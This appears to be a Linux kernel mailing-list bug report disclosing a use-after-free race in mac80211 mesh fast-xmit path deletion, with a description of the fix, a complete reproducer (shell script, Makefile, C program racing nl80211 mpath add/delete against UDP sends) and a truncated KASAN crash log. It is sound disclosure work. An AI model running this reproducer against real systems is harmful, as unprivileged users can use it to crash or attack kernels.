Linux wireless drivers development
 help / color / mirror / Atom feed
* [PATCH wireless v2 0/1] wifi: mac80211: fix mesh fast xmit path deletion UAF
@ 2026-09-09  6:00 Zihan Xi
  2026-09-09  6:00 ` [PATCH wireless v2 1/1] " Zihan Xi
  0 siblings, 1 reply; 2+ messages in thread
From: Zihan Xi @ 2026-09-09  6:00 UTC (permalink / raw)
  To: linux-wireless
  Cc: Johannes Berg, Felix Fietkau, Ryder Lee, linux-kernel, Zihan Xi

Hi Linux kernel maintainers,

We found and validated an issue in net/mac80211/mesh_pathtbl.c. The bug is reachable by a
non-root user via user and net namespace.
We've tested it, and it should not affect any other functionality.

We will provide detailed information about the bug
in this email, along with a PoC to trigger it.

---- details below ----

Bug details:

mesh_fast_tx_cache() stores raw mesh_path pointers. Path deletion
flushes matching cache entries and then frees the path with
kfree_rcu(), but a lookup that already holds the path can insert
a new cache entry after the flush. The cache then points at freed
memory.

The KASAN report below is from local TX via
ieee80211_mesh_xmit_fast() -> mesh_fast_tx_get().
ieee80211_rx_mesh_fast_forward() uses the same cache, but this
log does not show that path.

The cache was added in d5edb9ae8d56 ("wifi: mac80211: mesh fast
xmit support"). Later GENL_UNS_ADMIN_PERM on the mpath netlink
commands only made the race easier to hit from a user namespace.

The fix sets MESH_PATH_DELETED before the flush, and skips cache
insertion if the path or MPP path is already deleted. The check
runs under the cache walk lock so it is ordered with the flush.

The reproducer is Makefile, poc.sh, and poc.c. poc.c links
libnl-3/libnl-genl-3. Run make, then unshare -Urn ./poc.sh.
That wrapper creates two mac80211_hwsim radios, joins a mesh,
and races NL80211_CMD_NEW_MPATH / NL80211_CMD_DEL_MPATH with
local UDP TX. packetdrill is not used because it cannot
express 802.11 mesh setup or nl80211 mpath control.

Reproducer:

    make
    unshare -Urn ./poc.sh

We run the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment.

------BEGIN poc.sh------
#!/bin/sh
set -eu

SCRIPT_DIR=$(CDPATH= cd -- "$(dirname -- "$0")" && pwd)
cd "$SCRIPT_DIR"
PATH=/usr/sbin:/usr/bin:/sbin:/bin

MODE=${MODE:-namespace}
RUN_SECONDS=${RUN_SECONDS:-180}
SENDERS=${SENDERS:-4}
ADDERS=${ADDERS:-2}
DELETERS=${DELETERS:-2}
PAYLOAD_LEN=${PAYLOAD_LEN:-256}
ADD_PAUSE_US=${ADD_PAUSE_US:-100}
DEL_PAUSE_US=${DEL_PAUSE_US:-0}
MESH_ID=${MESH_ID:-mtest}
MESH_FREQ=${MESH_FREQ:-2412}

cleanup_root() {
	iw dev mesh0 del >/dev/null 2>&1 || true
	iw dev mesh1 del >/dev/null 2>&1 || true
}

wait_for_peer() {
	ifname=$1
	deadline=$(( $(date +%s) + 30 ))
	while [ "$(date +%s)" -lt "$deadline" ]; do
		if iw dev "$ifname" station dump | grep -q 'mesh plink:.*ESTAB'; then
			return 0
		fi
		sleep 1
	done
	return 1
}

make

if [ "$MODE" = "root" ]; then
	cleanup_root
	trap cleanup_root EXIT INT TERM

	iw phy phy0 interface add mesh0 type mp
	iw phy phy1 interface add mesh1 type mp

	ip link set mesh0 up
	ip link set mesh1 up

	iw dev mesh0 mesh join "$MESH_ID" freq "$MESH_FREQ"
	iw dev mesh1 mesh join "$MESH_ID" freq "$MESH_FREQ"

	wait_for_peer mesh0

	M0=$(cat /sys/class/net/mesh0/address)
	M1=$(cat /sys/class/net/mesh1/address)

	ip addr flush dev mesh0 >/dev/null 2>&1 || true
	ip addr flush dev mesh1 >/dev/null 2>&1 || true
	ip addr add 10.0.0.1/24 dev mesh0
	ip addr add 10.0.0.2/24 dev mesh1
	ip neigh replace 10.0.0.2 lladdr "$M1" nud permanent dev mesh0
	ip neigh replace 10.0.0.1 lladdr "$M0" nud permanent dev mesh1

	iw dev mesh0 mpath new "$M1" next_hop "$M1" >/dev/null 2>&1 || true

	echo 1 >/proc/sys/kernel/panic_on_warn

	echo "[*] mesh0=$M0 mesh1=$M1"
	echo "[*] mesh peers"
	iw dev mesh0 station dump || true
	echo "[*] initial mpath"
	iw dev mesh0 mpath dump || true

	exec ./poc -i mesh0 -a 10.0.0.2 -m "$M1" -n "$M1" -s "$RUN_SECONDS" \
		-t "$SENDERS" -A "$ADDERS" -D "$DELETERS" -l "$PAYLOAD_LEN" \
		-u "$ADD_PAUSE_US" -v "$DEL_PAUSE_US"
fi

if [ "$MODE" != "namespace" ]; then
	echo "Unsupported MODE=$MODE" >&2
	exit 1
fi

if [ -z "${INSIDE_NAMESPACE:-}" ]; then
	exec unshare -Urn env INSIDE_NAMESPACE=1 MODE=namespace \
		RUN_SECONDS="$RUN_SECONDS" SENDERS="$SENDERS" ADDERS="$ADDERS" \
		DELETERS="$DELETERS" PAYLOAD_LEN="$PAYLOAD_LEN" \
		ADD_PAUSE_US="$ADD_PAUSE_US" DEL_PAUSE_US="$DEL_PAUSE_US" \
		MESH_ID="$MESH_ID" MESH_FREQ="$MESH_FREQ" PATH="$PATH" \
		sh ./poc.sh
fi

./poc -R 1 >/dev/null 2>&1 || true
./poc -R 1 >/dev/null 2>&1 || true
sleep 1

IFS0=$(iw dev | awk '/Interface/ {print $2}' | sed -n '1p')
IFS1=$(iw dev | awk '/Interface/ {print $2}' | sed -n '2p')

if [ -z "$IFS0" ] || [ -z "$IFS1" ]; then
	echo "Failed to provision two namespace-local hwsim radios" >&2
	exit 1
fi

iw dev "$IFS0" set type mp
iw dev "$IFS1" set type mp
ip link set "$IFS0" up
ip link set "$IFS1" up
iw dev "$IFS0" mesh join "$MESH_ID" freq "$MESH_FREQ"
iw dev "$IFS1" mesh join "$MESH_ID" freq "$MESH_FREQ"

wait_for_peer "$IFS0"

PEER=$(iw dev "$IFS0" station dump | awk '/^Station/ {print $2; exit}')
if [ -z "$PEER" ]; then
	echo "Failed to learn peer station MAC" >&2
	exit 1
fi

ip addr flush dev "$IFS0" >/dev/null 2>&1 || true
ip addr add 10.0.0.1/24 dev "$IFS0"
ip neigh replace 10.0.0.2 lladdr "$PEER" nud permanent dev "$IFS0"
iw dev "$IFS0" mpath new "$PEER" next_hop "$PEER" >/dev/null 2>&1 || true

echo "[*] namespace if0=$IFS0 if1=$IFS1 peer=$PEER"
echo "[*] mesh peers"
iw dev "$IFS0" station dump || true
echo "[*] initial mpath"
iw dev "$IFS0" mpath dump || true

exec ./poc -i "$IFS0" -a 10.0.0.2 -m "$PEER" -n "$PEER" -s "$RUN_SECONDS" \
	-t "$SENDERS" -A "$ADDERS" -D "$DELETERS" -l "$PAYLOAD_LEN" \
	-u "$ADD_PAUSE_US" -v "$DEL_PAUSE_US"
------END poc.sh--------

------BEGIN Makefile------
CC ?= gcc
PKG_CONFIG ?= pkg-config

NL_CFLAGS != $(PKG_CONFIG) --cflags libnl-3.0 libnl-genl-3.0
NL_LIBS != $(PKG_CONFIG) --libs libnl-3.0 libnl-genl-3.0

CFLAGS += -O2 -g -Wall -Wextra -pthread $(NL_CFLAGS)
LDLIBS += -pthread $(NL_LIBS)

all: poc

poc: poc.c

clean:
	rm -f poc
------END Makefile--------

------BEGIN poc.c------
#define _GNU_SOURCE

#include <arpa/inet.h>
#include <errno.h>
#include <linux/nl80211.h>
#include <net/if.h>
#include <netinet/in.h>
#include <netlink/genl/ctrl.h>
#include <netlink/genl/genl.h>
#include <netlink/msg.h>
#include <netlink/netlink.h>
#include <pthread.h>
#include <sched.h>
#include <signal.h>
#include <stdatomic.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <time.h>
#include <unistd.h>

#define ETH_ALEN 6

enum hwsim_commands {
	HWSIM_CMD_UNSPEC,
	HWSIM_CMD_REGISTER,
	HWSIM_CMD_FRAME,
	HWSIM_CMD_TX_INFO_FRAME,
	HWSIM_CMD_NEW_RADIO,
};

enum hwsim_attrs {
	HWSIM_ATTR_UNSPEC,
	HWSIM_ATTR_ADDR_RECEIVER,
	HWSIM_ATTR_ADDR_TRANSMITTER,
	HWSIM_ATTR_FRAME,
	HWSIM_ATTR_FLAGS,
	HWSIM_ATTR_RX_RATE,
	HWSIM_ATTR_SIGNAL,
	HWSIM_ATTR_TX_INFO,
	HWSIM_ATTR_COOKIE,
	HWSIM_ATTR_CHANNELS,
};

struct cfg {
	char ifname[IFNAMSIZ];
	char dst_ip[INET_ADDRSTRLEN];
	unsigned char dst_mac[ETH_ALEN];
	unsigned char next_hop[ETH_ALEN];
	unsigned int seconds;
	unsigned int senders;
	unsigned int adders;
	unsigned int deleters;
	unsigned int payload_len;
	unsigned int add_pause_us;
	unsigned int del_pause_us;
	unsigned int hwsim_radios;
};

static struct cfg g_cfg = {
	.ifname = "mesh0",
	.dst_ip = "10.0.0.2",
	.seconds = 180,
	.senders = 4,
	.adders = 1,
	.deleters = 1,
	.payload_len = 256,
	.add_pause_us = 100,
	.del_pause_us = 0,
};

static atomic_bool stop_flag;
static atomic_ullong send_ok;
static atomic_ullong send_err;
static atomic_ullong add_ok;
static atomic_ullong add_exist;
static atomic_ullong add_err;
static atomic_ullong del_ok;
static atomic_ullong del_absent;
static atomic_ullong del_err;

static void usage(const char *prog)
{
	fprintf(stderr,
		"Usage: %s [-i ifname] [-a ip] [-m dst_mac] [-n next_hop] "
		"[-s seconds] [-t senders] [-A adders] [-D deleters] "
		"[-l payload_len] [-u add_pause_us] [-v del_pause_us] "
		"[-R create_radios]\n",
		prog);
}

static int parse_mac(const char *text, unsigned char mac[ETH_ALEN])
{
	unsigned int bytes[ETH_ALEN];
	size_t i;

	if (sscanf(text, "%02x:%02x:%02x:%02x:%02x:%02x",
		   &bytes[0], &bytes[1], &bytes[2],
		   &bytes[3], &bytes[4], &bytes[5]) != ETH_ALEN)
		return -1;

	for (i = 0; i < ETH_ALEN; i++)
		mac[i] = bytes[i];

	return 0;
}

static const char *mac_to_str(const unsigned char mac[ETH_ALEN], char *buf,
			      size_t len)
{
	snprintf(buf, len, "%02x:%02x:%02x:%02x:%02x:%02x",
		 mac[0], mac[1], mac[2], mac[3], mac[4], mac[5]);
	return buf;
}

static void pin_to_cpu(unsigned int index)
{
	long ncpus = sysconf(_SC_NPROCESSORS_ONLN);
	cpu_set_t cpus;

	if (ncpus <= 0)
		return;

	CPU_ZERO(&cpus);
	CPU_SET(index % (unsigned int)ncpus, &cpus);
	(void)pthread_setaffinity_np(pthread_self(), sizeof(cpus), &cpus);
}

static void sleep_us(unsigned int usec)
{
	struct timespec ts;

	if (!usec)
		return;

	ts.tv_sec = usec / 1000000U;
	ts.tv_nsec = (long)(usec % 1000000U) * 1000L;
	while (nanosleep(&ts, &ts) && errno == EINTR)
		;
}

static void stop_now(int signo)
{
	(void)signo;
	atomic_store_explicit(&stop_flag, true, memory_order_relaxed);
}

static int nl80211_family(struct nl_sock *sock)
{
	if (genl_connect(sock) < 0)
		return -1;

	return genl_ctrl_resolve(sock, "nl80211");
}

static int hwsim_new_radio_once(struct nl_sock *sock, int family_id,
				unsigned int channels)
{
	struct nl_msg *msg;
	int err;

	msg = nlmsg_alloc();
	if (!msg)
		return -NLE_NOMEM;

	if (!genlmsg_put(msg, 0, 0, family_id, 0, 0, HWSIM_CMD_NEW_RADIO, 1)) {
		nlmsg_free(msg);
		return -NLE_MSGSIZE;
	}

	err = nla_put_u32(msg, HWSIM_ATTR_CHANNELS, channels);
	if (err < 0) {
		nlmsg_free(msg);
		return err;
	}

	err = nl_send_auto(sock, msg);
	if (err >= 0)
		err = nl_wait_for_ack(sock);

	nlmsg_free(msg);
	return err;
}

static int create_hwsim_radios(unsigned int count)
{
	struct nl_sock *sock;
	int family_id;
	unsigned int i;

	sock = nl_socket_alloc();
	if (!sock) {
		fprintf(stderr, "nl_socket_alloc(hwsim) failed\n");
		return EXIT_FAILURE;
	}

	if (genl_connect(sock) < 0) {
		fprintf(stderr, "genl_connect(hwsim) failed\n");
		nl_socket_free(sock);
		return EXIT_FAILURE;
	}

	family_id = genl_ctrl_resolve(sock, "MAC80211_HWSIM");
	if (family_id < 0) {
		fprintf(stderr, "genl_ctrl_resolve(MAC80211_HWSIM) failed: %d\n",
			family_id);
		nl_socket_free(sock);
		return EXIT_FAILURE;
	}

	for (i = 0; i < count; i++) {
		int err = hwsim_new_radio_once(sock, family_id, 1);

		if (err < 0) {
			fprintf(stderr, "new_radio_once[%u] failed: %d (%s)\n",
				i, err, nl_geterror(err));
			nl_socket_free(sock);
			return EXIT_FAILURE;
		}
	}

	printf("created %u hwsim radio(s)\n", count);
	nl_socket_free(sock);
	return EXIT_SUCCESS;
}

static int add_mpath_once(struct nl_sock *sock, int family_id, int ifindex,
			  const unsigned char dst[ETH_ALEN],
			  const unsigned char next_hop[ETH_ALEN])
{
	struct nl_msg *msg;
	int err;

	msg = nlmsg_alloc();
	if (!msg)
		return -NLE_NOMEM;

	if (!genlmsg_put(msg, 0, 0, family_id, 0, 0, NL80211_CMD_NEW_MPATH, 0)) {
		nlmsg_free(msg);
		return -NLE_MSGSIZE;
	}

	err = nla_put_u32(msg, NL80211_ATTR_IFINDEX, ifindex);
	if (err < 0)
		goto out;

	err = nla_put(msg, NL80211_ATTR_MAC, ETH_ALEN, dst);
	if (err < 0)
		goto out;

	err = nla_put(msg, NL80211_ATTR_MPATH_NEXT_HOP, ETH_ALEN, next_hop);
	if (err < 0)
		goto out;

	err = nl_send_auto(sock, msg);
	if (err < 0)
		goto out;

	err = nl_wait_for_ack(sock);

out:
	nlmsg_free(msg);
	return err;
}

static int del_mpath_once(struct nl_sock *sock, int family_id, int ifindex,
			  const unsigned char dst[ETH_ALEN])
{
	struct nl_msg *msg;
	int err;

	msg = nlmsg_alloc();
	if (!msg)
		return -NLE_NOMEM;

	if (!genlmsg_put(msg, 0, 0, family_id, 0, 0, NL80211_CMD_DEL_MPATH, 0)) {
		nlmsg_free(msg);
		return -NLE_MSGSIZE;
	}

	err = nla_put_u32(msg, NL80211_ATTR_IFINDEX, ifindex);
	if (err < 0)
		goto out;

	err = nla_put(msg, NL80211_ATTR_MAC, ETH_ALEN, dst);
	if (err < 0)
		goto out;

	err = nl_send_auto(sock, msg);
	if (err < 0)
		goto out;

	err = nl_wait_for_ack(sock);

out:
	nlmsg_free(msg);
	return err;
}

static void *adder_thread(void *arg)
{
	unsigned int thread_index = (unsigned long)arg;
	struct nl_sock *sock;
	int family_id;
	int ifindex;

	pin_to_cpu(g_cfg.senders + thread_index);

	ifindex = if_nametoindex(g_cfg.ifname);
	if (!ifindex) {
		perror("if_nametoindex");
		atomic_fetch_add_explicit(&add_err, 1, memory_order_relaxed);
		return NULL;
	}

	sock = nl_socket_alloc();
	if (!sock) {
		fprintf(stderr, "nl_socket_alloc(add) failed\n");
		atomic_fetch_add_explicit(&add_err, 1, memory_order_relaxed);
		return NULL;
	}

	family_id = nl80211_family(sock);
	if (family_id < 0) {
		fprintf(stderr, "nl80211 family resolve(add) failed: %d\n",
			family_id);
		nl_socket_free(sock);
		atomic_fetch_add_explicit(&add_err, 1, memory_order_relaxed);
		return NULL;
	}

	while (!atomic_load_explicit(&stop_flag, memory_order_relaxed)) {
		int err = add_mpath_once(sock, family_id, ifindex,
					 g_cfg.dst_mac, g_cfg.next_hop);

		if (!err) {
			atomic_fetch_add_explicit(&add_ok, 1, memory_order_relaxed);
			sleep_us(g_cfg.add_pause_us);
			continue;
		}

		if (err == -NLE_EXIST) {
			atomic_fetch_add_explicit(&add_exist, 1,
						  memory_order_relaxed);
			sleep_us(g_cfg.add_pause_us);
			continue;
		}

		atomic_fetch_add_explicit(&add_err, 1, memory_order_relaxed);
	}

	nl_socket_free(sock);
	return NULL;
}

static void *deleter_thread(void *arg)
{
	unsigned int thread_index = (unsigned long)arg;
	struct nl_sock *sock;
	int family_id;
	int ifindex;

	pin_to_cpu(g_cfg.senders + g_cfg.adders + thread_index);

	ifindex = if_nametoindex(g_cfg.ifname);
	if (!ifindex) {
		perror("if_nametoindex");
		atomic_fetch_add_explicit(&del_err, 1, memory_order_relaxed);
		return NULL;
	}

	sock = nl_socket_alloc();
	if (!sock) {
		fprintf(stderr, "nl_socket_alloc(del) failed\n");
		atomic_fetch_add_explicit(&del_err, 1, memory_order_relaxed);
		return NULL;
	}

	family_id = nl80211_family(sock);
	if (family_id < 0) {
		fprintf(stderr, "nl80211 family resolve(del) failed: %d\n",
			family_id);
		nl_socket_free(sock);
		atomic_fetch_add_explicit(&del_err, 1, memory_order_relaxed);
		return NULL;
	}

	while (!atomic_load_explicit(&stop_flag, memory_order_relaxed)) {
		int err = del_mpath_once(sock, family_id, ifindex, g_cfg.dst_mac);

		if (!err) {
			atomic_fetch_add_explicit(&del_ok, 1, memory_order_relaxed);
			sleep_us(g_cfg.del_pause_us);
			continue;
		}

		if (err == -NLE_OBJ_NOTFOUND || err == -NLE_NOADDR ||
		    err == -NLE_FAILURE) {
			atomic_fetch_add_explicit(&del_absent, 1,
						  memory_order_relaxed);
			sleep_us(g_cfg.del_pause_us);
			continue;
		}

		atomic_fetch_add_explicit(&del_err, 1, memory_order_relaxed);
	}

	nl_socket_free(sock);
	return NULL;
}

static void *sender_thread(void *arg)
{
	unsigned int thread_index = (unsigned long)arg;
	struct sockaddr_in dst = {
		.sin_family = AF_INET,
		.sin_port = htons(9),
	};
	int fd;
	char *payload;

	pin_to_cpu(thread_index);

	if (inet_pton(AF_INET, g_cfg.dst_ip, &dst.sin_addr) != 1) {
		fprintf(stderr, "inet_pton(%s) failed\n", g_cfg.dst_ip);
		atomic_fetch_add_explicit(&send_err, 1, memory_order_relaxed);
		return NULL;
	}

	fd = socket(AF_INET, SOCK_DGRAM, 0);
	if (fd < 0) {
		perror("socket");
		atomic_fetch_add_explicit(&send_err, 1, memory_order_relaxed);
		return NULL;
	}

	if (setsockopt(fd, SOL_SOCKET, SO_BINDTODEVICE, g_cfg.ifname,
		       strlen(g_cfg.ifname) + 1) < 0) {
		perror("SO_BINDTODEVICE");
		close(fd);
		atomic_fetch_add_explicit(&send_err, 1, memory_order_relaxed);
		return NULL;
	}

	if (connect(fd, (struct sockaddr *)&dst, sizeof(dst)) < 0) {
		perror("connect");
		close(fd);
		atomic_fetch_add_explicit(&send_err, 1, memory_order_relaxed);
		return NULL;
	}

	payload = malloc(g_cfg.payload_len);
	if (!payload) {
		perror("malloc");
		close(fd);
		atomic_fetch_add_explicit(&send_err, 1, memory_order_relaxed);
		return NULL;
	}

	memset(payload, 'A' + (thread_index % 26), g_cfg.payload_len);

	while (!atomic_load_explicit(&stop_flag, memory_order_relaxed)) {
		ssize_t ret = send(fd, payload, g_cfg.payload_len, MSG_NOSIGNAL);

		if (ret == (ssize_t)g_cfg.payload_len)
			atomic_fetch_add_explicit(&send_ok, 1, memory_order_relaxed);
		else
			atomic_fetch_add_explicit(&send_err, 1, memory_order_relaxed);
	}

	free(payload);
	close(fd);
	return NULL;
}

static void *progress_thread(void *arg)
{
	(void)arg;

	while (!atomic_load_explicit(&stop_flag, memory_order_relaxed)) {
		sleep(1);
		printf("stats send_ok=%llu send_err=%llu add_ok=%llu add_exist=%llu "
		       "add_err=%llu del_ok=%llu del_absent=%llu del_err=%llu\n",
		       (unsigned long long)atomic_load_explicit(&send_ok,
						memory_order_relaxed),
		       (unsigned long long)atomic_load_explicit(&send_err,
						memory_order_relaxed),
		       (unsigned long long)atomic_load_explicit(&add_ok,
						memory_order_relaxed),
		       (unsigned long long)atomic_load_explicit(&add_exist,
						memory_order_relaxed),
		       (unsigned long long)atomic_load_explicit(&add_err,
						memory_order_relaxed),
		       (unsigned long long)atomic_load_explicit(&del_ok,
						memory_order_relaxed),
		       (unsigned long long)atomic_load_explicit(&del_absent,
						memory_order_relaxed),
		       (unsigned long long)atomic_load_explicit(&del_err,
						memory_order_relaxed));
		fflush(stdout);
	}

	return NULL;
}

int main(int argc, char **argv)
{
	pthread_t *threads = NULL;
	pthread_t progress;
	size_t total_threads;
	size_t idx = 0;
	char dst_buf[18];
	char nh_buf[18];
	int opt;
	unsigned int i;
	int ret = EXIT_SUCCESS;

	while ((opt = getopt(argc, argv, "i:a:m:n:s:t:A:D:l:u:v:R:h")) != -1) {
		switch (opt) {
		case 'i':
			strncpy(g_cfg.ifname, optarg, sizeof(g_cfg.ifname) - 1);
			g_cfg.ifname[sizeof(g_cfg.ifname) - 1] = '\0';
			break;
		case 'a':
			strncpy(g_cfg.dst_ip, optarg, sizeof(g_cfg.dst_ip) - 1);
			g_cfg.dst_ip[sizeof(g_cfg.dst_ip) - 1] = '\0';
			break;
		case 'm':
			if (parse_mac(optarg, g_cfg.dst_mac) < 0) {
				fprintf(stderr, "invalid dst MAC: %s\n", optarg);
				return EXIT_FAILURE;
			}
			break;
		case 'n':
			if (parse_mac(optarg, g_cfg.next_hop) < 0) {
				fprintf(stderr, "invalid next-hop MAC: %s\n",
					optarg);
				return EXIT_FAILURE;
			}
			break;
		case 's':
			g_cfg.seconds = strtoul(optarg, NULL, 0);
			break;
		case 't':
			g_cfg.senders = strtoul(optarg, NULL, 0);
			break;
		case 'A':
			g_cfg.adders = strtoul(optarg, NULL, 0);
			break;
		case 'D':
			g_cfg.deleters = strtoul(optarg, NULL, 0);
			break;
		case 'l':
			g_cfg.payload_len = strtoul(optarg, NULL, 0);
			break;
		case 'u':
			g_cfg.add_pause_us = strtoul(optarg, NULL, 0);
			break;
		case 'v':
			g_cfg.del_pause_us = strtoul(optarg, NULL, 0);
			break;
		case 'R':
			g_cfg.hwsim_radios = strtoul(optarg, NULL, 0);
			break;
		default:
			usage(argv[0]);
			return opt == 'h' ? EXIT_SUCCESS : EXIT_FAILURE;
		}
	}

	if (g_cfg.hwsim_radios)
		return create_hwsim_radios(g_cfg.hwsim_radios);

	if (!g_cfg.senders || !g_cfg.adders || !g_cfg.deleters ||
	    !g_cfg.seconds || !g_cfg.payload_len ||
	    !memcmp(g_cfg.dst_mac, "\0\0\0\0\0\0", ETH_ALEN) ||
	    !memcmp(g_cfg.next_hop, "\0\0\0\0\0\0", ETH_ALEN)) {
		usage(argv[0]);
		return EXIT_FAILURE;
	}

	signal(SIGINT, stop_now);
	signal(SIGTERM, stop_now);

	total_threads = g_cfg.senders + g_cfg.adders + g_cfg.deleters;
	threads = calloc(total_threads, sizeof(*threads));
	if (!threads) {
		perror("calloc");
		return EXIT_FAILURE;
	}

	printf("ifname=%s dst_ip=%s dst_mac=%s next_hop=%s seconds=%u "
	       "senders=%u adders=%u deleters=%u payload_len=%u "
	       "add_pause_us=%u del_pause_us=%u\n",
	       g_cfg.ifname, g_cfg.dst_ip,
	       mac_to_str(g_cfg.dst_mac, dst_buf, sizeof(dst_buf)),
	       mac_to_str(g_cfg.next_hop, nh_buf, sizeof(nh_buf)),
	       g_cfg.seconds, g_cfg.senders, g_cfg.adders, g_cfg.deleters,
	       g_cfg.payload_len, g_cfg.add_pause_us, g_cfg.del_pause_us);
	fflush(stdout);

	for (i = 0; i < g_cfg.senders; i++)
		pthread_create(&threads[idx++], NULL, sender_thread,
			       (void *)(unsigned long)i);
	for (i = 0; i < g_cfg.adders; i++)
		pthread_create(&threads[idx++], NULL, adder_thread,
			       (void *)(unsigned long)i);
	for (i = 0; i < g_cfg.deleters; i++)
		pthread_create(&threads[idx++], NULL, deleter_thread,
			       (void *)(unsigned long)i);

	pthread_create(&progress, NULL, progress_thread, NULL);
	sleep(g_cfg.seconds);
	atomic_store_explicit(&stop_flag, true, memory_order_relaxed);

	for (idx = 0; idx < total_threads; idx++)
		pthread_join(threads[idx], NULL);
	pthread_join(progress, NULL);

	printf("final send_ok=%llu send_err=%llu add_ok=%llu add_exist=%llu "
	       "add_err=%llu del_ok=%llu del_absent=%llu del_err=%llu\n",
	       (unsigned long long)atomic_load_explicit(&send_ok,
					memory_order_relaxed),
	       (unsigned long long)atomic_load_explicit(&send_err,
					memory_order_relaxed),
	       (unsigned long long)atomic_load_explicit(&add_ok,
					memory_order_relaxed),
	       (unsigned long long)atomic_load_explicit(&add_exist,
					memory_order_relaxed),
	       (unsigned long long)atomic_load_explicit(&add_err,
					memory_order_relaxed),
	       (unsigned long long)atomic_load_explicit(&del_ok,
					memory_order_relaxed),
	       (unsigned long long)atomic_load_explicit(&del_absent,
					memory_order_relaxed),
	       (unsigned long long)atomic_load_explicit(&del_err,
					memory_order_relaxed));
	fflush(stdout);

	free(threads);
	return ret;
}
------END poc.c--------

----BEGIN crash log----
[   25.579250] ==================================================================
[   25.579264] BUG: KASAN: slab-use-after-free in mesh_fast_tx_get (net/mac80211/mesh_pathtbl.c:445)
[   25.579292] Read of size 4 at addr ffff888012d853b8 by task poc/520
[   25.579294]
[   25.579297] CPU: 1 UID: 0 PID: 520 Comm: poc Not tainted 7.3.0-rc1-00240-g641d03105cc0 #2 PREEMPT(lazy)
[   25.579301] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[   25.579303] Call Trace:
[   25.579304]  <TASK>
[   25.579305]  dump_stack_lvl (lib/dump_stack.c:94 lib/dump_stack.c:120)
[   25.579309]  print_report (mm/kasan/report.c:378 mm/kasan/report.c:482)
[   25.579313]  ? __pfx__raw_spin_lock_irqsave (kernel/locking/spinlock.c:190)
[   25.579324]  ? __virt_addr_valid (include/linux/mmzone.h:2131 (discriminator 1) include/linux/mmzone.h:2277 (discriminator 1) arch/x86/mm/physaddr.c:54 (discriminator 1))
[   25.579328]  ? mesh_fast_tx_get (net/mac80211/mesh_pathtbl.c:445)
[   25.579331]  kasan_report (mm/kasan/report.c:595)
[   25.579333]  ? mesh_fast_tx_get (net/mac80211/mesh_pathtbl.c:445)
[   25.579337]  mesh_fast_tx_get (net/mac80211/mesh_pathtbl.c:445)
[   25.579365]  ? __pfx_mesh_fast_tx_get (net/mac80211/mesh_pathtbl.c:400)
[   25.579368]  ? filter_irq_stacks (kernel/stacktrace.c:397)
[   25.579372]  ? stack_depot_save_flags (lib/stackdepot.c:667)
[   25.579375]  ieee80211_mesh_xmit_fast (net/mac80211/mesh.c:779)
[   25.579379]  ? kasan_save_stack (mm/kasan/common.c:58)
[   25.579382]  ? kasan_save_stack (mm/kasan/common.c:57)
[   25.579385]  ? kasan_save_track (mm/kasan/common.c:78)
[   25.579388]  ? __kasan_slab_alloc (mm/kasan/common.c:340 mm/kasan/common.c:366)
[   25.579390]  ? check_object (mm/slub.c:1428 mm/slub.c:1551)
[   25.579393]  ? __pfx_ieee80211_mesh_xmit_fast (net/mac80211/mesh.c:699)
[   25.579396]  ? sock_alloc_send_pskb (net/core/sock.c:3015)
[   25.579400]  ? ip_make_skb (net/ipv4/ip_output.c:1576)
[   25.579403]  ? udp_sendmsg (net/ipv4/udp.c:1451)
[   25.579406]  ? __sys_sendto (net/socket.c:800 (discriminator 1) net/socket.c:815 (discriminator 1) net/socket.c:2281 (discriminator 1))
[   25.579409]  ? __x64_sys_sendto (net/socket.c:2288 net/socket.c:2284 net/socket.c:2284)
[   25.579411]  ? do_syscall_64 (arch/x86/entry/syscall_64.c:61 arch/x86/entry/syscall_64.c:84)
[   25.579415]  ? entry_SYSCALL_64_after_hwframe (arch/x86/entry/entry_64.S:121)
[   25.579418]  __ieee80211_subif_start_xmit (net/mac80211/tx.c:4391)
[   25.579422]  ? __pfx___ieee80211_subif_start_xmit (net/mac80211/tx.c:3447)
[   25.579425]  ? skb_network_protocol (include/linux/skbuff.h:2534 include/linux/skbuff.h:2867 include/linux/skbuff.h:2882 include/linux/if_vlan.h:672 net/core/dev.c:3727)
[   25.579429]  ieee80211_subif_start_xmit (net/mac80211/tx.c:4633 (discriminator 1))
[   25.579432]  ? __pfx_ieee80211_subif_start_xmit (net/mac80211/tx.c:4448)
[   25.579434]  ? kasan_save_track (mm/kasan/common.c:78)
[   25.579437]  ? __kasan_slab_alloc (mm/kasan/common.c:340 mm/kasan/common.c:366)
[   25.579440]  dev_hard_start_xmit (include/linux/netdevice.h:5429 include/linux/netdevice.h:5438 net/core/dev.c:3937 net/core/dev.c:3953)
[   25.579444]  __dev_queue_xmit (net/core/dev.c:4926)
[   25.579447]  ? csum_partial (lib/checksum.c:119)
[   25.579450]  ? __pfx___dev_queue_xmit (include/linux/netdevice.h:4067 (discriminator 1))
[   25.579453]  ? wakeup_preempt_fair (kernel/sched/fair.c:1149 (discriminator 1) kernel/sched/fair.c:1154 (discriminator 1) kernel/sched/fair.c:10038 (discriminator 1))
[   25.579456]  ? __pfx_csum_and_copy_from_iter_full (net/core/skbuff.c:6250 (discriminator 1))
[   25.579460]  ? sock_alloc_send_pskb (net/core/sock.c:3018)
[   25.579462]  ? _raw_spin_unlock (include/asm-generic/qspinlock.h:129 (discriminator 4) include/asm-generic/qspinlock.h:160 (discriminator 4) include/linux/spinlock.h:206 (discriminator 4) include/linux/spinlock_api_smp.h:200 (discriminator 4) kernel/locking/spinlock.c:213 (discriminator 4))
[   25.579465]  ? ip_generic_getfrag (net/ipv4/ip_output.c:947)
[   25.579468]  ? __pfx_ip_generic_getfrag (net/ipv4/ip_output.c:658)
[   25.579471]  ip_finish_output2 (include/linux/netdevice.h:3461 include/net/neighbour.h:544 include/net/neighbour.h:558 net/ipv4/ip_output.c:236)
[   25.579474]  ? __ip_append_data (include/linux/skbuff.h:2333 (discriminator 2) include/linux/skbuff.h:2438 (discriminator 2) include/linux/skbuff.h:2471 (discriminator 2) net/ipv4/ip_output.c:1206 (discriminator 2))
[   25.579477]  ? __pfx_ip_finish_output2 (net/ipv4/ip_output.c:614)
[   25.579480]  ? __pfx_ip_generic_getfrag (net/ipv4/ip_output.c:658)
[   25.579483]  __ip_finish_output.part.0 (net/ipv4/ip_output.c:314)
